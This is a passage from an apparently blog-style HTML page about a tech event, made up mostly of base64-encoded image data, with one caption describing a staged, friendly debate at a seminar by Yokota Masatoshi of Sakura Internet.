DaBlmM+axMUgf6YxgiH0YFTUBzw7UVzpTeN6l39ZazWRn8w14MyqhqkFYzUi1t9oeYTgmG4rDu2eb9o9FV3+g5xOI+sX0qnrZMYWyhlfSyODG5k1OAAmm6mp6I6pIGg2ImHEeaUJAsfcNioYASS7A8kk6mtKqBbHOH2xzCQRIwanJtAXADzU1MPb35N96ccQlCRYWKJhtDQxzi0QFxzNMWlSpl9w0s8IBcKvYK1NczmopNgcKNeChVIjbSn65JSusqDqmZ4qhOoiUrVkMxen7NzJW5FpDZObHZe7VJvSPBOx40kbgdzcBVvz8Apm0MVWSg+yT4jP5KDfb6wwO3h8XvyK52WNxaZti90TEEkPR1Xmb8G+gEoEpt8ibLqo0Ch4yJJckhGHUSukNQoBNyzUUe1Xk0KmtNuLtNEORlEn2i8+ChutJKgOlpmVGZeuI0YC4jLJWQjJ7JFumi4ElU3NbA3U+aYFhmcMyGD/y8eCQLkjGb3F55k0V6w19ToFombJ25slqq01pG74hDb28XekwBxBawvABpV3/ATmydnY20kNbhAh//ALBUm3bybS4jRvo2k8AaldnFH/jSRil/UKF1vktDCzGcjUtdnmOO9bC5L87jY5KtoRnmRT3qBHsQ4gSQuBeQSeBodKcVP2evMekEM8Ya/TPQny3q2OOgzaa2L24reC8n0rSCTRtT7q8kW3W0IhhO9zsgNa8R5J68tl7PQvwhpGdWmix+0lnZVkbKueRicXEuwtPDhi0Qm0lyUwSlJFTcTy6MEg5k06VyVvFYyeKlXJc+Q4DcrxliXBnVnTcqKYWAlPMukq0bFRLASWhXJlWLGRkliBysKIsPJG0CyC0O4J9oUhrUeBC0SxkNSgE4Go6IWSxDWp1EgSgSw6pJKLEkkpUyUVF8sxNcP4XfArnFyijnA9R55+9dDt0tA/Lc74LnNjPez4uHnmPktuJNIvhway7D+v11R2M1Lq7v18k1djTpw/XyT9lOb+ZPuCbyKW2xEn7GnsvcD1Jr81oHlZnYWYYJcx/qu3rRz2lgFS4ALXaS3Mk/qPKbF3TsYjpZnHjIfcAFwtq752QspZBze4+9X9OvmNHWfR+ptptD0Vfa7GJIyw6ObTxU21eqeiaAW/I+Dlx24MnZC4xQgZPbiYX72tYaV48Fo7D6wrWpFaHpQnkqa67NUPFHZTPGW8F2Y5jeR+SvIrL3mkbm0KrS2HkZPtVnLIgGgd94B6A1FFq7lvIeiZiyIaK1I4BZHtRDXCBpPedI2nTfl5JF9nvNwn9mQG1H8Jofn5BVPnYspOKX5Nw7aCIZYgaLPhnpbXKRmxsTGvy1zJyG+vRZ+yFpdI3QEjDx5Dq5XOx9+x4pjJIxry8NIruYKD4Kaq5F06UVeyuz7ja5nSRuDH1wmn8VR5U+Co9pbnkbabRhYS1wJqB0OtKLrMV7MOkjHZ8dB9VNErDvafEFNcGMsrTs5psVH/lzLI2n2dsgbUal2f65kqq2Rtsp0e9uJ+Ti6oAbQubQ66rrVru+Mxua5oLMyQqKPYeFzQ6MuYCCWjOgxDM4eKVwi+GHuRd2uSgu3tBnEskTwHABzmA5HLMCuWoV/Z+0iIYRK10ZJppUE76cgVU2rs3kM0cgcCAGh+4kDLPPOrVBv25XPtsNIy2FhaMxlkSTx1KDxNcMmmD/AGOiWTaKF4GGRuegJFffRSpbMx2rWnwBXKu0W7BB6As9YF1ab8w4fGi3Vy3e6OFzqkyPbipUkCoqGt4IrUnRTKNJNPkmTbMQH/bbVJfslAR6mFw1LSQVzxt+WsWkwNlJLWk7vWDa0GWlcki2bf2mOSRheO40/hHrZZeKDySXKH7UzoH+E6erPKB/NVGNlOM8p8aLB/8A1In9FFmPSSuOdBRorTzKad2jT+ilFaPjcKPA1aTTPmFX3E/7Q9qZvxsPBq7E/wDmcVOs2zNnbpG3xzWEnve0/ZmzCUkvhLiKaHFSvvVVsdte708bZMQoDUknvGmpBrmn1tVsDRKnudbgdG0lrcIoK0FKgdBms7bdq4DJRsjnPb+Bu8j58lz+zXs+G2smdUslJqd1HGmmlPoU5tJcTnTPkgr6RshJDRuNCCN1N1M0XqkFYkn8zLO/dupPTxBrcGJtWl38WWatNidrH2lk0c9CWA56VByz3A10VdNsTNaGWdxAZIwOxk8nVHuV0y5I7JZ5XYqulyLgNa7h4/8AKXt09TdEloqvJWWy7qwRuJoIpj6p9VjstctK+KkWayRtHdNTXM6k9Sc1S3dtAI2uaKODtWEime9x3dAq2xbURRVaXF1SSSM2iu4VpkFg6md1pNeKLNvA8VpTcnLDZsbg1VlmvFhbiDhQjWoCTd221mik7zzXTIVHmsMGm0Wy2TovZIXRnSo4qa2SoDmetvA1PhxU+G0xyMxAtLSAQa8f1osne9/QQPylFd4GZHlULXNKKtfsZVLXs+TURWbFHR/rV5V8VWfZASWnJwUGzX5ibUOrXeE5ed8xChdI1r6b3DP9c1V3YyX4GUXFjk9gLRizp4qNjPFWN23y17KZOB3j4qLe9mazvYwBzy+iVqMlaGUt6Y0LScu8U794P4qBG8EVBrzCKWYDUgdSqbdFtJki33kaMJpRsjCegcKrR3llPC6tA5j2+NMQ+CyElHggEGoyotJDN6ezMcP9SOmW/GzIg9fgV0+kndox5400zT2J2Skqluq8A4Bw0PnXh4aK3Y6q7GOW1HMlGmKKMBEEKq9FYza420qRWmmWfgsRYrvcYo8THYGzvdI3MVBxYctSK0NFvaImhK0nyWRlRmn2h0npGsYWxtY2lQG4nVzA6AJGMzWiFwa4NiDy4kEZkABvM66LTtYOCAYOCGlE1mdjdW2uyNBBhBplXETRMQXe42iaV3qs/wBMa1Jb3j5ALU4BwHkjwI6QKZl7HMG+ikIOHA5pNMwS4aqqtEDy18lD6OS0tc4aVjApmNaLeehHAeQRmIUpQU4UyU0obX9jIMLTanYBQGzkCgoK4tPJKvC1ekEEba4xJHUcA3Mk8lq22duoAB6INs7a1oATqeKOkjn9hxoQqghRMigOqSXI6KParRQc0snSClbKfaG0UZIaVq2g6nL5qFf4pFAzfjj/APHM/BLtYMkjIq5NIkk8PVHiVFvifHOGj1Ygan+J27wHyXMyz0wbOhBW0iZJalGExTVE81q89ybqHWEpsnNLJKiz3oxvFzuAz/4UluiJkqtMyq+13mKa0WW2h27LKtDRXhr/AMLFW6/ZJCSXHPcMqIRwykXqDfJu7x2hjbq7y1VNNtqNGhYxxr1R4lqWBLkuUUaaC/8AE7vnKummWS31itEbW/sxqNy42HLY7DXuMbYnnuk0BO7l5q1xfgrnBcm1e9xFdyiTPy48lq7dZhgIbpSuiybtShkx6SnHPVwT9jQ0NdaHOq8ihb7LRu6qBFeLXMkmcMnzUaT/AA6KuvGytDScw45ANNKk7qBWIuXC2zwuFW0q8ad4/RdHBPWtjNkhpds0ez92hpdICWtdmRU0603Kdb7LDKcJIxagj1hzG/mqvba8hBZXYdS0MaOelfALLdnVuBLcclZBUkO4bqE5rQ8lOjOoNpyNLeN3WmMUY4Ss9l3rU67/ABWWglIke6VpY5xAzBoGjTPwW9fazI4iKQd31hrrzU99nY8d4NdXWtCg4RyLckcjhvRm7BK2gDSD0U2qdtGyMJzALTxaaKDJse8epM8daFcuf/x7buMv3L11CfJIAQoq+W4bWPVlY/8AmbRN+htbdYmu6GlVQ+hy/Z/qWd2L8ltG1KJCqPtNpH+wf7giDrW7IQhv8zlF0uZbaf5Jrj7LVzUkBQH2G1jM+i9/0QbZ7X7MfVWLosvpfuRZI+ywITahm57W7VzG9BVKZsg4+vM88m5KfAZHy0hVmih51oA1IHiFHkvqIavHhmVKi2LhGuJ38zip0Oz0LaUjb5VV8f8A49LmX8AedGedf2I0jY953UFPijfZrU4E0Y3LIHM/Raklrcsh5BOB4WmPS4V4t/cq70nwc4sd1W2WuINY01FSBVOxdlxObpc+Q/Wa6FVQ71vNsMbpHVo3hn7tVpUYQW0UF5pszMPZswayPPjzqpDOz6Eb3/3FW9y34yeMSM9U+4hT8aZNfYRzl5Zl7PsLE0OpiGv4j1WO25uoRsjwudV5Nczuz0K6bZrwxve0DJmRPPeFh9p7t9NbWR1yDHOIOgNPchNavBZjk73OBRr0N2YMpY4+dT7yvPLCvR3Z7HSyQ82195VHTbyN3WfSvyX9sPdKakmABJ0AqUu1u7viPeVXX9ZHPie1upFKceI5VC2T5o5kEUVi2jZEwve7CHPkeG0qXYnVaeIyVRaNr5GxvfGQ1ta1eavIPst4FPy7OPkr+wpWnru0AFAABoFXy9m8jvWazL+I+4GqzuMmaYxhyzPXXeUlqmxyvJbGC7pwp1rlxyXTNnrRDKC0OBGfcIo5vmqGybGzRRuaxrC57mknF+FhBDaU30Sru2HkdL6Q1gp7BqSSa+W5SONx4Hm0+NhO0dI5yGes71eDa0FT0BqrGzbPWCgxULqZuqQSd503lX907PBjnPe4yPcAMTqZAbgPiVbtsjfZHknW3koc/RkW3BYONP6j9FIhuixjSUjpIcvktP8AYmey3yCV93s3sb/aERdTZnJLDFSjbU8DgXgj3p2z2mWMANnie0aB2RV6664/Yb5BELoi3xs8gg0gWVJ2yLP9SPxY4OH1UmLbKzvyD2td/Fl+RUt9xQfu2+SYk2Xs5/2m+SWq4ZPlH7TdNnnzc1jzuOWXRWUcQa0NGQAoFRybKRfgxRnixxH5JAuGUeraH+Ixe/emt+xGr8jdj2LDLQbQJCXurWork4UKqLb2a43yvMgrLWopmASD5iivm2C1DSdviz6IjZ7WPxxH+k/VHfykOpSXDKGTsuBijaHDHE4lrqagmvxUmydmDBFIxxq+Q1LgMhQ1A8Fak2z/AKJ80tsls4Q+Z+alv0gqc/f8kew7F0i9E+QuAbgbQAYW1r+ilR7Dwh2N5LiG4QfVoDlXLfzTxFs4xDpU+780X3VaHevOGg7mt+qly+wuqXskRbO2ZobVje6O6XGtB4opdoYI8m0LuDBir5KptGwZeaumkPInLyFFLsmzUkfqSAf0NS/M+WgV9xFvvm1PaRFZ6A1FZCN/8I+axF87L3jNk8HD7IIDfJdF+xWgf7wP9A+qL7Naf3rP7FNKfK/kaEtPFHIXdmFr9gnx/NNns1tf7snyXY/Q2r95Gf6fzS8Fq9qPychoj/iv3L/iZ/Y4wez+1jL0bqcK/mmf8B2of7TvJdvBtXGL/wAkYfauER8SlWGH+P8AIfiZ/Y4s3Z+2tGENlA4Z08lBdsraP3T/ACK7z6e1exGf6iPkjNstG+Fh6P8AyU7UP8f5B8U14RwmOwWpgoBI0cKFQ5rqmJq5rz1B/Negjb5t9nH9w+iSbfJvsx82/VDsw/xf8B+Kk/BwuyWu0xDC3E0bsq/EKLbZppM343da/DRd7dbuNld/a36pp1vj32V39jUPh8fOljfE/wDScVufaK0QAhhNDqHCo8K6eCj3pfE8p75PTd5BdvdaoN9md/8AGkGWy/uD/wDGUvw+P0/2J8SuaOL3Lf8ALZ64QDXc4VAWt2M7QnMnPpqBklAaCga4aHlzW3LbF+5p/wDjP0SDBYd8X/gR8kV08E7V/sJLNGfMSwms7mH0sIxsd3nxjn+JvPlvUux3812jqfwnIg9CqD73bB/ouxM/dEGo/lPyKdZftlmze3A7fUFufWnwVj/X8mRx9moFvKWba7h71nMNk/eO/vKP0Vl/fO/+Qpt/f8C6V6NF9uRfeHJZ42azfvz/APIlGywH/wD2Hf3pfm/yBpiX4vDl70PvDkqEWGL/AO4d/eEYu9m60u/uCNy/yJpiX33hyKM3lyKovutv/wBw7zH0RtuvhaXebfqpql7JpiXn3iOBR/eAVILqd/8AcHyalC6pP/uPcD81FKXtE0RLr7yCX9vCojdUv78f2j6ofds26Zv9oTa5e1+4uiJd/eI5o/twVGbBP+9Z4t/NA2Cf95H/AGn6o65e0HREupLdlkqa8L1IdhjON7twzDebuA+KZfdDz/qTAN/h7vvRMt0UdWQt9I88OPFzkj3fzP8ARDJJfSM3heDLFC6R5rI7MnUucd3QLlkPaFI0k4GnE4ucScySc+Hgtrf/AGfWi0uxySjk0Vo3kqY9jUnttVWXA8vLX7m3DLHH6nuWVh7QLOWgk0dTMHiqi8u1IA0ibUfxfkg7sbl9pp8aJB7Hp/ab5rF/9e/f8mhZMXstLl7QIpG/tD6Nw3bj0Kqtptv2irYKEn8f0ySHdkFo4tTb+yK08vNFdA752J3Md8mKNtLiS4kk51KDpgteeya08AfFMv7LLV7I81f8LLwXLPD2jJfaU6JQtG/sxtXseVPqmT2d2of7Z9yHw2QPdg/JQG0hP2W10NQaH5hWTtgrSP8Aad5Jo7HWgf7b/JT4fJ6G7kH5OmbOdocPof2zgHAUI3kAbgoQ2mgldSM6nQ5LnZ2YtH7t/wDaUgXJO01DHg8aFVS6fK1RTGMIu0zfRyiGUyP77dW1OTDzG9Ktl6GSZshflUUoe7+R6rAz2W0O9bGetUizQzMzDXdKGnkrMePLFU0LKEZb2dr2t2WNqYyj6BtCG7isPNstNAJpHNIODC2meuVcqaBSLn7QpQ0RyxuoKUc3XLkt5du1MEwoSBUZh4ofGq2L/qiYm5w28HLrNeL4LM0xucJJXnFu5DWu7UrU2Xb02bBC8ek7ocXNNTU5nyWrvTZqCZoDgKNzGHL4blzV2y0k9qeBWNoBDMQ1GQyPTNK4X9A0ZRn9R0S7NvIZBHnQyGgbvB4HqrG2XuGuwilB3nmuTW7q8ysDZ9hZYZIcIDwzMk6Yj7961kF0OJwOqQKOkcfxu4V9lqsjja5ZRKMFwW123ljbiyFa0FRWm4nqpokC4ttaJYrTIGF4ac24Scq8FabDOtE4NZJBga6vNx9XVJ891X6jPCq1WdUqEAuFT7W2phe30rqtcd3Nai7LdaZbNJMJHd0d0U4etuQUpvwR4KXKOluI30RYlwY7YWijf2r9SHAdVtrFtQ6GJoON8kwLmHgD6v8AwonP0SWBpco6B9qFaVFeFQo8l7Rg4S5uLhUVXGLnjnfI55lc2Rr9M6mvLTPTRRbVddoxuDg/0hcCCQTx/WSjWR+B108fLOx2zayBlcUjQRurmo1s23gZG2QuqHHu0rU+5cztuyk5kqYy6rACaZYqZndyT8PZ/O6FtRRzHE4eIy0U7eVjdrGvJY7c7UMngxROIcx1CMwRVP7OdpFPRROZq2gdpUgH40CjWLs0lLJMRDXPoANQKcVMsnZa6rCZM2ZCg+u9TsS5bHvEo6SutXaxKHnutwh+Gm+i1W0d8xSwSRhwx+iD6anOh8/BVMXZnCXuDnuJriIyrnXipt67FiNhkhaXy4cGZ1bomWKlyJJ47VHPLJtBNHZhgeWhshblpnn8lbbKbWSiYguL2ub1727TqnLP2fzmFzKAFzw6nDKi2uzNxNiY1r42+k48eaKwpO2XZJxp0i5uqyFkYH4jm7mTmf0VlLFPjvFxIIpGQKjVbWKauQBHMrF7QPbHbY3vNA6Nwy4jp1Vkq5MkOX+DztEvTGx0dLLCP+m34VXmiDVen9n46QRD/ps/9Qs/Tcm/rPCJVuBw5CpqMuSiG1P/AHTvMKzBR0W1xT5OamVf2x37p3uRm2O/dvVo0I1O2gNlX9sd+6elNtrv3b/IfUK0ARgIdtMOorBbj+7f5JbbefYf5KxwpYU7USaitF4n2JB/SUsXl/C/+1WQS2lTtIRzKxt6jg7+0oxejeDv7SrOiUGhL2kHUVovaPifI/ROC8o/aU/CEfohwHkPop2l7BrIDbyj9oef5JxttZ7Q/XipJsjfZHkEn7Cz2W+QTdoGoaba2cR5hLbO3iPMIfdkfsjySTdEXshL2vuTUhfpG8R5hHiCb+5Y/ZHmURuWPgfMo9r7k1IexhGCmPuRn8X9xQ+5G8Xj+ope0/aBqRJxBAOUb7kb7Tx/VVF9zD23+dfkp2n7DaJZIQcVF+6D+8f7kX3S7dI73IdqRLRLARhRPut/713kEDd0n70/2/mp2mS/uTGhG1QzYZf3oP8ASjFhl/eN/t/NDtSJqJjXIw9RPscvtN/tR/ZpuLPeh25AbJmJAuUIxTcGeZRls3sN/uU7ciE2qBeoRdL+7H9yDppf3R8wp25hJhQqoJtT/wB0/wByBtzv3b/JTTJeAUTcuCThHAeShi8TvY/+1F96D2X/ANpQal9wkz0Y4DyCQbO32R5BRhereDv7SjF7s5+SHzfcg/8AY2+y3yCIXfH7Df7QmvviPj7ijF6s4+f/AAhuEN11x+w3yCS654v3bf7QlfesftDz/JKF6x+03zTbgsZdckP7tvkERuGH923yUj7fH7Y/XilC3M9pvmPqo7JbIY2dh/djwqgdnIfY95U0WlvtD9eKP7Q3iPMIWwkD/C8Ps+Tj9UX+FoeDv7irH0w4jzCUJhxCmpgtlX/heL+P+8oHZaPi/wDvKtfSoekU1EtlSdmWe3IP6yids0395L/cfyVrjQqpqJbKG07Gsfk6SUj+b80dl2RazJkj2jlRX9UFNQdVFKLgf+/k9yP7kk/fv8QFcoVU1AspBc8v793kEX3VPunJ/pCvKIkLImUou20fvvNo+qH2C0/vWf2q5ARBS16C2VH2S1fvI/7afNARWsfijPmrgOQa9G16BZT1tfGM+fzRie1+zGf6j9FbkoBylr0SynNttX7ph6O/JEbxtG+DyeFcpJKl/YO3op/vWXfZz5hI++X77O7wDfqrshG5lU3Pv9w7FE6+eNmf/aPqk/fTP/t3/wBgV/hR4VNvv+5LRnXXxFvgd/8AH+SjWm22d4oYXeDCD8FqixJLFL/JLMLLKI84nzN4Nc1zh0zGnKqKDbGVpGOEvHtNaa+W7zW5cxE6McENvuPq9oobJtkwmrg5gpoWnXrmraz37E7R7fPNOyWdpyIB6gfRQptnITrGPDL4KUvDK2kyW9kTzUhjjzpVHZLLGyoYAKmpoqp2yMO7E3o4j4Jt+yDN0ko/rcm39hJkuzUBJJjaS7XxUmGwxxswNaA3PIcDuVOdkuE0o8UP8KO3WiT3I/NXKD+pOi2ZgAp6NuZroKqU67Y+73R3PVyGQVOdm5N1ok9yR/hyX/7h/kFLl7Qf1Ltl2xg4gxoPGidwNrUgV4rPu2alOtof4URf4RB9aWR3jRR6vZKXstbTb2NIq9oG+pz8FHm2pgbrI09NVXz7BQO1xH+opgdnkI0JHkUul/5DJR8kuTbOL8Ie7kGlIdtLIfVgfyrl80TNlcPqyuHgEv7llGk7vIKaV7C1HwV0U1q9I54hAqAKOIOnBS32i2n/AG4x4p77qn3TnxARfYrTumH9qNL1/JCDNNb9zYyorrXeHsM929W/2e0+2w9QUY+18Yz7lNK9fyFfoZ+S8LxH+01Z6/mWx5a+aPJlchr3sviug+ltQ/DGfE/RNWie0uFDGynX9cENEf8AH+R1OnwjzRYW1c3qF6iu9tGMHBrfgvLdimo5p4EfFdis3arQD9nuG8qvpYt3Rq6tPY6XVKC54ztWbvjPmnW9qjP3Z810NEvRzafo34KOqwQ7U4vYcnP/AKoxew7zR0v0Lv6N1VGHLDjtQh9lyWztOh4O8lNL9MhuKpWJYgdp8HB3lX6J1vabB/Eppl6FNpVGCscO0qz/AMXknh2j2f2j5FDS/TIa5rkpZVnaBZvbPknmbeWb2x+vBSn6AaYFKBVBFtnZzpI1Pt2qgP8AuN80AF1jRgKrZtBD+8b50Tsd8RH/AHG+YRBZPCOiiNvFh0c0+I+qdFrbxHmELIPoy5MiccR5hK9IFLRLHKpQcmsSAepaAOgokgOR4lCCwUEiqMOUALqjqm0oORIKBRhILkYcoEdqjDk2HI1BKHaoVSAUoKEFIIqoVUABCiNESiFA/WgQQQCIQkMIQKBQsFsRgHAIzC3gPIIwggAR9mb7I8gkmxM9lvkPonmoVTBGfsEfsN8giN2x+w3yUhAFCyWyL91x+wPJF9zx+wFLQBQQdTIRuWP2feUDckfs+8qcCgCowWyvdckfA+ZSfuKP+L+4qyKIoUS2VpuNnF39xRfcbfaf/crKqOqKS9DamVn3KPbf51+SP7lP7x/uVjRHVRpekDUysNzH94/3Ivuh/wC9d5NVklFDTF+CamVQup/70+X5oG7ZP3vm1WlUQRWOPoOplZ9il/eA/wBJSPsU3tN/tVuSiS9uPomtlULJN7TPKiIQTjez3q1Qqp24eia2iqwTcG+aL9t7AP8AV+StkYKnaj6DrZUNkl/d+8IzaZP3R8x9Vb0RUQ7USayoNtf+6f7ii+8j+7f5VVwWokO1EmspvvT+B/8AafqiN7D2X/2q5KIhDtRD3CoN8N4O/tP0RG+GfxeRVvhHBFgCnYXsOv7FUb6Zz8kPvZnH3K0EYROs7eA8gp2UvIdf2Kz70ZxRm82e0FYfZW+yPJJ+yN9keSnZ+5FNEF14s9ofrxR/bmU9YfrxUr7vZ7DfIJJuyP2B5Kdn7k1oYFsafxD9eKP7QOI80t10R+yE065Y/Z95Q7L9ja0LbMEPSpk3FHwP9xRC4mcXD+opezL2HUh8SIsSj/cQ3Pf5lJdcnCR/uR7MvaJqRIeUTlH+6HDSR3uSXXZJ+88wh2pB1IlOCKii/YJfbHlREbLN7TD4UU7Ug6kSkAFDMU/8B8/ogDMPwt8yl7cvRLRMDEQaoZdN7A8HIfaJf3fvR0S9DWTA1E5qhm2Sfuj4EJLrwf8Au3+5TS/RDynBqFoYyqa57C6SRjGirnGgHVb07AWgfg+H1V3QUk/ydPqXukZ8lDErx+xFoH+25I/whaP3bl19mYrKaqUCrU7LT/u3eSR/hyf90/yRSFIAQEinf4fm/dv8kPuGb2HeSgXRDqltepRuaX92/wAkPumTexw8ERWRmlLDk793P9l3lVD7C/2T5E/JAA2HJxruaP7K7gfIoCA8D5IoDCEpS2ypJjQDVNJKHGyJRmPFNtajojpQGh4Wx3E+acFveNHOHiVGoiAQ0rykDSiaL3k9t3mU82/pf3j/AO4qsBSqIaY+kLpRas2mnH+6/wA06za60D/dcqVABDtx9ImlGhbttaf3hTse3tp9v3fms0hRR4oeiaUapvaHaPaB8AnW9pVo/h8vyWRogAk7MPRNCNm3tPn4N8k6O1KX2Wn3LEIih2YC6EbxvarL7DfenR2rv/dt+C58EanYgTQjoze1g74x/d+SeZ2sjfH5FczKW0pexAHbTOoM7WGb4z5p5natF7DlyoFKDkOxEnbR1tnajBwd5D6p9naXZzvcPBceDkMaPw69sGg7RH2iWY/iPkno9u7Mf9we8fJcSLkdUnw/3BoO5DbOzn/cb5p9m08B/wB1vmuDEoy5B9P9yds723aCE/7jPNONveM/jZ5rz+HlGJzxQ7D9/wAA7Z6CF5MP4h5gpwW1p3jzC89i1O4nzShbX+07+4/VT4eXsmg9BttLeI8wj9MOI815+bejx+N3mUsXzLukf5lD4eXsGhnf/SDilNeuBt2gm/eP8ylt2ln/AHr/ADU7EiaGd5D0Ma4U3a20fvXJ1u2loH+673IdiZNDO4h6MriTdurT+8KUO0C0j8Y/tQ7M/wDxi6WdpxI6rjbe0S07yPIJxvaVaP4fJDtT9fyTSzr9UFyRvahONzPJOM7Upd7GKdufomlnWCUkOXLh2qSfu2/rwTre1Z/7seaXtz9E0s6bVHVc1b2sHfH/AOX5J0dq4/dHzU0S9E0v0dERVXP29qzN8Z8063tTj9hyFS9A0tm8L0VViG9qUPsu8v8AlPM7TbP/ABeSjjL0yU/Rs6pOJZVnaPZ/aPknG9oFm9vzUp+n+xKNLVHVZ9u3NmP+41PM2ss5/wBxqF0Si7qiVW3aSA/7jfOidbfkR/3Gf3KIBYkolDbekZ0e3zSvt7faHmEtkJBKFUyLW32h5o/tA4hHUQWShiTZmHFGJEyZBxEHJGNAlAgsuRVSMaKqJBdUTikVRVUDQtJRVQqmQQ0EjGjqhYUxRCCSXIi5QjDJREpJKFUaCxRKSiqiqgRBkoqIqoIoIaJAoVUJQKI0VUKoh4PL/Zsytri6/Ir0M1EguZ030/qdTqvqDARlGgtiZhYA1ANzQQTIC3DISsAQQRA2GIxwSmxDgiQTICbFOhbwCH2Vp/C3yH0RoIW15GYQsDD+BvkEk3XEdWN8ggggpP2JqYl1wwn/AG2+SSdmYDrE3yRIJnKXtg1Mbk2Rs5/2wmnbDWc/g96NBRZJeyamMydntn9kjxTB7NrOfa80EFZHLN+SamNP7MYvaePJMu7K49z3IIIvNNeSWxp3ZU3dL7vqU07srP7zzRIJo55UNY27srfue3yTTuy2UfjaiQTd6X2JqYzJ2Zzbi3zTL+zqf+H+4I0FbGbYLaI8mwc43N/uH1CZdsZOPwj+5v1RoK6MrDYw/ZWYbh5t+qbds9L7Pvb9UEFbSJY0bmk4e8fVJddzuHvH5okEtINhGxu/WfzCSbORu/XmggokgWDAhgQQUojDDURQQUaGA5iCCCUgGhEEaCAEEGoYUaCIRIRhGgoQSjRIKEAEaJBFhQeJCqJBAAdUCUSChAYkEEEGAMFECggiMGSixIIKAACjxI0FEgBVRFyCCkkEMFDGjQQpECxIw9BBLQaC9JwShMUSCjSCORyOJABNTkM96tJLtmaHHFk3XNBBLNJFctiNZnyuBo52QJPe4eKQ28JK0xu5ZlEgoor0RD0t5zNNC93LP8yno7ztB0kdpX1tyJBTRH0MHHtJaK0Erq9Up21VpbrIUSCnaj6EfItu2tpA/wBQ+KcZt5aPb9wRIISxQT4LNKHWdoVo4jyCeHaTOPZ8kSCjwxA4oeHadNva39eSej7VH72DwRIJXggHtokM7VDvj8inh2qN3xnzRIKp4Yi6ESI+1GI6tcnmdpMO8OHhVBBB40vLJoQ+ztCgO939pUhm2sJ3n+0/RGgs72K6Hm7URHefI/RPNv6P2vc76I0EjbDQ4LzZx+P0Tjbc3j7iggpqYov7SOPuRiUI0E1hB6RHiRIKWQ//2Q==" width="320" /><br />
<br />
8) Seminar by Yokota Masatoshi(Sakura Internet), He and Mr. Shiobara starts a verbal battle like <span class="refvocab">Wrestling Entertainment (Its entertainment. They keep </span><span class="refvocab">friendliness and respets, but thats </span><span class="refvocab">engage in a heated debate. I Know, they </span>give the right hand of fellowship after sessions. :) ). <br />
<img alt="" height="239" src="data:;base64,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